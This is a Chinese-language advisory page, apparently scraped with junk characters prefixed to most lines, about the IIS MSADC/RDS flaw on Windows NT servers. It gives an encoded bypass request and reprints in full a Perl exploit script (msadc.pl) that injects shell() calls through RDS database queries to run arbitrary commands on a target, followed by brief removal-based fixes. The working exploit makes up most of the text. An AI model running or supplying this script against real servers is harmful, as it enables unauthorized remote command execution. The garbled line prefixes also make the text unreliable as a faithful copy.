IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,5T1QWn^f Uhn3usK 涉及程序：
y
G mFi Microsoft NT server
at\u7>;.^k ]j*uD317 描述：
:7Uv)@iUk 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'<e$ c 4}*.0'Hz 详细：
vw a*'C 如果你没有时间读详细内容的话，就删除:
j`Ek : c:\Program Files\Common Files\System\Msadc\msadcs.dll
W|sU[dx Z 有关的安全问题就没有了。
>xF&>SDC qq?o^ _^4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
sS4V(:3s t -}IKrbv 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
![I|hB 关于利用ODBC远程漏洞的描述，请参看:
Dwr" - LU @1Gol http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm f+)LVT 8p Q$k#q<+0 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
B
o%Sl http://www.microsoft.com/security/bulletins/MS99-025faq.asp SY@;u<Pd jlqSw4_ 这里不再论述。
E1w8d4P,G c7[Ba\Cr4h 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
gg#lI| ~o K0k_{~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
79o=HiOF99 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\W= Z`w3 2BT+[ Gfy9YH~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
wQ9@
l P)Oe?z;G? #!perl
udc9KuR@ #
1#fR=*ZM" # MSADC/RDS 'usage' (aka exploit) script
^LXsU]
R #
3Tw9Uc\vT # by rain.forest.puppy
0~[M[T\ #
'V <ZmJ2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0 ;OZ|;Z # beta test and find errors!
~Dw%
d; !\Cu J5U use Socket; use Getopt::Std;
0pH$Mk Q getopts("e:vd:h:XR", \%args);
utn,`v 3rJ LLYR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
,I]]52+?4 tqp i{e if (!defined $args{h} && !defined $args{R}) {
0G Q8} r print qq~
2#/sIu-L Usage: msadc.pl -h <host> { -d <delay> -X -v }
X(8L hsP -h <host> = host you want to scan (ip or domain)
^q%f~m,O< -d <seconds> = delay between calls, default 1 second
nYv keT -X = dump Index Server path table, if available
lh XD9ed -v = verbose
Tfv @oPu -e = external dictionary file for step 5
[T/S/@IT 0=40}n&` Or a -R will resume a command session
m*i,|{UZ Imc lz4'8 ~; exit;}
+br'
2Pn JP^x]t: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#e@[{s7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]n:R#5 5A if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i 3$G)W if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+t
Prqv"( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z 9WeOs if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
c] $$ap "Wb KhE if (!defined $args{R}){ $ret = &has_msadc;
'L{pS-+6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uG YH4
OI6m>XH? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Y$./!lVY . "cmd /c ";
^\\9B-MvY $in=<STDIN>; chomp $in;
,K PrUM} $command="cmd /c " . $in ;
Yg 2P( o> &pj if (defined $args{R}) {&load; exit;}
adgd7JjI* Mdp'u$^! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~u[1Vz4#3 &try_btcustmr;
9Gx`[{wI9< [' iEw! print "\nStep 2: Trying to make our own DSN...";
N1x~-2( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
i 2[8^o`_ ,&* BhUC print "\nStep 3: Trying known DSNs...";
E2`9H -6e &known_dsn;
{aK3'-7 K0 5T`+N, print "\nStep 4: Trying known .mdbs...";
q$ j &known_mdb;
(b"q(:5oX 43rV> W, if (defined $args{e}){
2Ib
1D print "\nStep 5: Trying dictionary of DSN names...";
sP=^5K` g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]j$(so " aJ1{9 5ea print "Sorry Charley...maybe next time?\n";
d+0= a] exit;
i;IhsKO0R Nm%#rZrN~Q ##############################################################################
Uw3wR!: /pLf?m9 sub sendraw { # ripped and modded from whisker
Rz*GRe sleep($delay); # it's a DoS on the server! At least on mine...
z 61F q my ($pstr)=@_;
e9QjRx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{QOy'
8 / die("Socket problems\n");
A#i[Us| if(connect(S,pack "SnA4x8",2,80,$target)){
`v2X p3o4f select(S); $|=1;
yi (IIW print $pstr; my @in=<S>;
`ah"Q;d$ select(STDOUT); close(S);
N6%L4v8-}X return @in;
Q;nC #cg } else { die("Can't connect...\n"); }}
5HY0 *\ $ma@z0%8} ##############################################################################
%):pfM;b D& &71X ' sub make_header { # make the HTTP request
q$K}Fm1C my $msadc=<<EOT
?@6Zv$ vZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'coY`B; 8 User-Agent: ACTIVEDATA
2 nL*^hhh Host: $ip
lJx5scN [ Content-Length: $clen
WWOjck # Connection: Keep-Alive
:j/sTO= y DRi ADCClientVersion:01.06
^B7Ls{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,*m|Lt%;R 'S&Zq: --!ADM!ROX!YOUR!WORLD!
G6JP3dOT Content-Type: application/x-varg
~HKzqGQy > Content-Length: $reqlen
: wUi&xw 8 ~Pdr]5 EOT
)6o%6$c ; $msadc=~s/\n/\r\n/g;
wuSotbc/ return $msadc;}
{ qCFd t2m7Yh5B ##############################################################################
.>1Y-NM q [+KQ, sub make_req { # make the RDS request
.5 {< bY my ($switch, $p1, $p2)=@_;
sx' eu;S my $req=""; my $t1, $t2, $query, $dsn;
(/{ bJt~b rcH{"\F_/ if ($switch==1){ # this is the btcustmr.mdb query
3 `N SSS $query="Select * from Customers where City=" . make_shell();
?<M x* l $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
nm %7 e!{m $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Re *~C: g+?2@L$L elsif ($switch==2){ # this is general make table query
\,lIPA/L $query="create table AZZ (B int, C varchar(10))";
7 fl{<uf $dsn="$p1";}
s={IKU&m[ p+7#`iICE elsif ($switch==3){ # this is general exploit table query
4|4[3Ye7u: $query="select * from AZZ where C=" . make_shell();
WB `h) $dsn="$p1";}
zp``e;gY vM:c70= elsif ($switch==4){ # attempt to hork file info from index server
N ]\) Ok $query="select path from scope()";
r!|h3*YA $dsn="Provider=MSIDXS;";}
6k {gI.SG 2 ksbDl} elsif ($switch==5){ # bad query
)/2TU]// $query="select";
j}fSz)`i $dsn="$p1";}
rQ&XHG>Q* b"OH Xu $t1= make_unicode($query);
?t/\ ID $t2= make_unicode($dsn);
m5, &;~ $req = "\x02\x00\x03\x00";
"QBl
"<<s $req.= "\x08\x00" . pack ("S1", length($t1));
p
)WRsJ8 $req.= "\x00\x00" . $t1 ;
]AN%#1++U $req.= "\x08\x00" . pack ("S1", length($t2));
:H:+XIgoR $req.= "\x00\x00" . $t2 ;
-e0?1.A$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
pA_e{P/ return $req;}
152LdZevF 2|NQ5OA0 ##############################################################################
O&VA79 \UO {Wfwf sub make_shell { # this makes the shell() statement
- "{hP return "'|shell(\"$command\")|'";}
-*kZ2grLt @,LU!#y( ##############################################################################
<5G 4|l ]x%sX|Rj sub make_unicode { # quick little function to convert to unicode
g?cxqC< my ($in)=@_; my $out;
)a%E $` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<KE%|6oER return $out;}
/ neY2D6 6
tB\X^ ##############################################################################
bwJluJ, E E[BM0.#bZ sub rdo_success { # checks for RDO return success (this is kludge)
Q~Kz cB< my (@in) = @_; my $base=content_start(@in);
n_wF_K\h if($in[$base]=~/multipart\/mixed/){
7c6-
o"A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)lJi7 ^, return 0;}
o5m] Gqa 'Axe:8LA' ##############################################################################
Rh ) %; RRl`;w? sub make_dsn { # this makes a DSN for us
XQtV$Lw my @drives=("c","d","e","f");
:z%Zur+n c print "\nMaking DSN: ";
$ P2*qpqy foreach $drive (@drives) {
b S' dXP print "$drive: ";
$0+&xJVn my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}U%T6~_wR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b+L !p.: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j'lC]}kH $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
BbPRPkV return 0 if $2 eq "404"; # not found/doesn't exist
[ e{D if($2 eq "200") {
JEP9!y9y foreach $line (@results) {
en6; I[\ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:Smyk.B2! } return 0;}
uW P0(6 % aNwx~t]G ##############################################################################
>ZU)bnndA [<d_ #(]h' sub verify_exists {
/Kd'!lMuz my ($page)=@_;
Y)#,6\=U my @results=sendraw("GET $page HTTP/1.0\n\n");
a :cfr*IsK return $results[0];}
0w vAtK|Q *&V"x=ba, ##############################################################################
A-rj: k! ,-DU)&dF sub try_btcustmr {
^
q3 H my @drives=("c","d","e","f");
*nv ^ s my @dirs=("winnt","winnt35","winnt351","win","windows");
5'<mfY'B /-(OJN5F^ foreach $dir (@dirs) {
,jl4W+s print "$dir -> "; # fun status so you can see progress
mXyg\5 foreach $drive (@drives) {
q%,y66pFr print "$drive: "; # ditto
~ftR:F|9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]3 Jb$Q@ $reqlenlen=length( "$reqlen" );
7loWqZ $clen= 206 + $reqlenlen + $reqlen;
PI"6d)S2 = '-/JH~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kUr/*an if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
R38
\&F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8m #y>` $I<\Yuy-M9 ##############################################################################
%_~1(Glz {!! 8 *ix sub odbc_error {
^ ),;`YXZ my (@in)=@_; my $base;
_ x$\ E my $base = content_start(@in);
j+>N&.zs if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.B'ws/%5\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qc a=a } $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Pu 'NSNT $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;*d?Qe : return $in[$base+4].$in[$base+5].$in[$base+6];}
sLSH`Xy?5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
d ]#`?} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
: b!&Xw $ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9%m^^OOf xU(b: D Z ##############################################################################
st >%U9 rqKK89fD' sub verbose {
^b^ buCYw my ($in)=@_;
Z4m+GFY return if !$verbose;
=c%gV]>G print STDOUT "\n$in\n";}
FV/lBWiQQ uC[F'\Y ##############################################################################
0C6T>E7 +
+Eu.W;&# sub save {
ME.!l6lm\ my ($p1, $p2, $p3, $p4)=@_;
J0o,ZH9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<~u-zaN<W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p[;@9!t close OUT;}
ll?Qg%V[t O5:[]vIn ##############################################################################
A+ z}z@K
1D N sub load {
=NWzsRl, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G-#rWZ& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
):n'B` f}z @p=<IN>; close(IN);
Dv4 H^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
gf^y3F[\ $target= inet_aton($ip) || die("inet_aton problems");
c(!pcB8 print "Resuming to $ip ...";
b=SCyGxlZ5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
q 2;CvoF if($p[1]==1) {
`trcYmR=k $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
6 LqF*$+$` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Hr \vu`p$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
kPO +M~+n if (rdo_success(@results)){print "Success!\n";}
w8#j i 1gX else { print "failed\n"; verbose(odbc_error(@results));}}
'<O.J(N~4! elsif ($p[1]==3){
162Dj$ if(run_query("$p[3]")){
&G?w*w_n print "Success!\n";} else { print "failed\n"; }}
3PkU>+.6 elsif ($p[1]==4){
08g2? 5w" if(run_query($drvst . "$p[3]")){
6w_TL< S print "Success!\n"; } else { print "failed\n"; }}
=%B}8$.| exit;}
* o <|^,R Cn_r?1{W ##############################################################################
M}
+s_h9 Fz5eCe\B sub create_table {
Ci2* 5n< my ($in)=@_;
lbh7`xCR $reqlen=length( make_req(2,$in,"") ) - 28;
<<-BQ
l~ $reqlenlen=length( "$reqlen" );
(%9J( 4 $clen= 206 + $reqlenlen + $reqlen;
bP%X^q~]A my @results=sendraw(make_header() . make_req(2,$in,""));
ucJ8l(?Qc return 1 if rdo_success(@results);
L^2wEF my $temp= odbc_error(@results); verbose($temp);
t7*F, return 1 if $temp=~/Table 'AZZ' already exists/;
lk=[Xo return 0;}
Yqv!ZJ6 O@skd2 ##############################################################################
"
^!=e72 F3x* dq2 sub known_dsn {
cb/$P!j7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ziv+*Qn_b4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
?ea5k*#a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Gsz$H_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
]}.|b 6\ ^Of\l:q* foreach $dSn (@dsns) {
lQ4$d{m` print ".";
Q,};O$h next if (!is_access("DSN=$dSn"));
g+xcKfN{ if(create_table("DSN=$dSn")){
$ -
Y8@bw print "$dSn successful\n";
X G5" u if(run_query("DSN=$dSn")){
7UUu1"|a| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\vuWypo print "Something's borked. Use verbose next time\n";}}} print "\n";}
.s|5AC [ ( v$
i ##############################################################################
Qz$Wp* TZdJq sub is_access {
M" $g*j my ($in)=@_;
IU"8.(;o $reqlen=length( make_req(5,$in,"") ) - 28;
LCb0Kq}*/( $reqlenlen=length( "$reqlen" );
}s8xr> $clen= 206 + $reqlenlen + $reqlen;
Wxi;Tq9C@_ my @results=sendraw(make_header() . make_req(5,$in,""));
Q v},X~^R my $temp= odbc_error(@results);
g9IIC5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
JtF)jRB0, return 0;}
i;:}{G< &7Xsn^opku ##############################################################################
${97G# C%/@U[; sub run_query {
V3/OKI\o my ($in)=@_;
7}(YCZny5 $reqlen=length( make_req(3,$in,"") ) - 28;
=r&i`L{] $reqlenlen=length( "$reqlen" );
X3y28 %R $clen= 206 + $reqlenlen + $reqlen;
!"ydl2 my @results=sendraw(make_header() . make_req(3,$in,""));
@}' ?o_/C return 1 if rdo_success(@results);
@k/|%%uP my $temp= odbc_error(@results); verbose($temp);
I,r0K] return 0;}
.fK~IKA "po;[
Ia2 ##############################################################################
\#gguq?[ msOE#QL6a sub known_mdb {
! HXyvyDN my @drives=("c","d","e","f","g");
- 1ci.4F& my @dirs=("winnt","winnt35","winnt351","win","windows");
IcNZUZGE my $dir, $drive, $mdb;
_&]Gw, ~/i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;h#Q!M&e# vJ;0%;eu[! # this is sparse, because I don't know of many
A>*#Nw5L my @sysmdbs=( "\\catroot\\icatalog.mdb",
_9S"rH[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-@~4: o "\\system32\\certmdb.mdb",
*]DO3Zw' "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
iZ( Jw Y n+ s=u$%qn my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
f^Q) lIv "\\cfusion\\cfapps\\forums\\forums_.mdb",
Q{~;4+ZD "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gU?M/i2 "\\cfusion\\cfapps\\security\\realm_.mdb",
tnq Zl S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#=Whh
9-d "\\cfusion\\database\\cfexamples.mdb",
=n;LP#(h ? "\\cfusion\\database\\cfsnippets.mdb",
$4]4G=o "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
xg;F};}5$
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\^lDd~MWG "\\cfusion\\brighttiger\\database\\cleam.mdb",
8boiJku` "\\cfusion\\database\\smpolicy.mdb",
rgEN~e' "\\cfusion\\database\cypress.mdb",
-JclEp "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)?( _vrc< "\\website\\cgi-win\\dbsample.mdb",
SN$3cg]z "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
,5x9 o"N! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
yEVn G`
1
); #these are just
_gpf9a d foreach $drive (@drives) {
v}@Uc-( foreach $dir (@dirs){
HYNp vK foreach $mdb (@sysmdbs) {
~Sw GZ print ".";
gj
}Vnv1[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
xk^`4; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/ 8 /N if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
CH6;jo] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0 4 a@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
0Q]{r ) 'Xa sd3*Py foreach $drive (@drives) {
t ;y@;?~ foreach $mdb (@mdbs) {
>Hd!o"I print ".";
u!McPM8Yk if(create_table($drv . $drive . $dir . $mdb)){
<JW %h :\t print "\n" . $drive . $dir . $mdb . " successful\n";
7&Ie3[Rm_3 if(run_query($drv . $drive . $dir . $mdb)){
-r[O _[g w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:GM3n$ } else { print "Something's borked. Use verbose next time\n"; }}}}
$wk (4W8E }
R l)g[s Y*S(uqM ##############################################################################
:S+Bu*OyH 0.B'Bvn=s2 sub hork_idx {
m4R:KjN* print "\nAttempting to dump Index Server tables...\n";
$-39O3 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^+ Vf*YY
8 $reqlen=length( make_req(4,"","") ) - 28;
/^`d o3a } $reqlenlen=length( "$reqlen" );
LXRIo2ynuw $clen= 206 + $reqlenlen + $reqlen;
o3le[6C/8= my @results=sendraw2(make_header() . make_req(4,"",""));
4v`;D,dIu if (rdo_success(@results)){
)\{]4[9N my $max=@results; my $c; my %d;
` Z ci < for($c=19; $c<$max; $c++){
v\5`n@}4 $results[$c]=~s/\x00//g;
[MeFj! ( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z|d+1i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
#_: %Y d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
A!a.,{fZ $d{"$1$2"}="";}
Xzqx 8Kd foreach $c (keys %d){ print "$c\n"; }
mC'<Ov<eJ } else {print "Index server doesn't seem to be installed.\n"; }}
v/,,z+%- t;t;+M|W ##############################################################################
n9k-OGJ W}WDj: sub dsn_dict {
^,Ft7 JAn open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:7s2M while(<IN>){
B06W(y,3Q> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1:q`KkJx next if (!is_access("DSN=$dSn"));
nDz.61$[ if(create_table("DSN=$dSn")){
,
ksr%gR+ print "$dSn successful\n";
9ol&p> if(run_query("DSN=$dSn")){
9]g`VD6 <v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f~f)6XU| print "Something's borked. Use verbose next time\n";}}}
=@d->d print "\n"; close(IN);}
iVb7>d9} /7WdG)' ##############################################################################
,/dW*B es\Fn#?O sub sendraw2 { # ripped and modded from whisker
@$;I% sleep($delay); # it's a DoS on the server! At least on mine...
0fN;
L;v my ($pstr)=@_;
26=G%F6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
} ;d= die("Socket problems\n");
Z 3-=TN if(connect(S,pack "SnA4x8",2,80,$target)){
|zy` ]p9 print "Connected. Getting data";
-E.fo._L5 open(OUT,">raw.out"); my @in;
R vd'uIJ select(S); $|=1; print $pstr;
(:RYd6i while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
3O|2Z~>3 close(OUT); select(STDOUT); close(S); return @in;
CZ kmd } else { die("Can't connect...\n"); }}
kXO c ) lXut Z<S[ ##############################################################################
p R ! m |Pv)&'B" sub content_start { # this will take in the server headers
k: z)Sw my (@in)=@_; my $c;
"XU)(<p for ($c=1;$c<500;$c++) {
U(hIT9 if($in[$c] =~/^\x0d\x0a/){
$Q= S`z= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!fJy7Y else { return $c+1; }}}
, Q ) return -1;} # it should never get here actually
x}uDW p uW ##############################################################################
s6Il3K f `X(H,Q}*; sub funky {
)c<[@ ::i my (@in)=@_; my $error=odbc_error(@in);
QvlV jDIy if($error=~/ADO could not find the specified provider/){
Mwa Rwk; print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F W3uq^ exit;}
D=M'g}l if($error=~/A Handler is required/){
(bD#PQXz m print "\nServer has custom handler filters (they most likely are patched)\n";
?BU?c:"f exit;}
oKPG0iM: if($error=~/specified Handler has denied Access/){
@u:q#b print "\nServer has custom handler filters (they most likely are patched)\n";
&pH XSU exit;}}
8(}cbW b .cBg.a ##############################################################################
5
axt\ ]<u%jTQREd sub has_msadc {
C-&s$5MzGb my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\cHF V my $base=content_start(@results);
_:KeSs kuO return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
RP9~n)h~b
return 0;}
*` t3z-L ) qRE['M ########################
!z]{zM % UryHte f;bVzti+w 解决方案：
`_OB_F 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4XSq\.@G 2、移除web 目录: /msadc
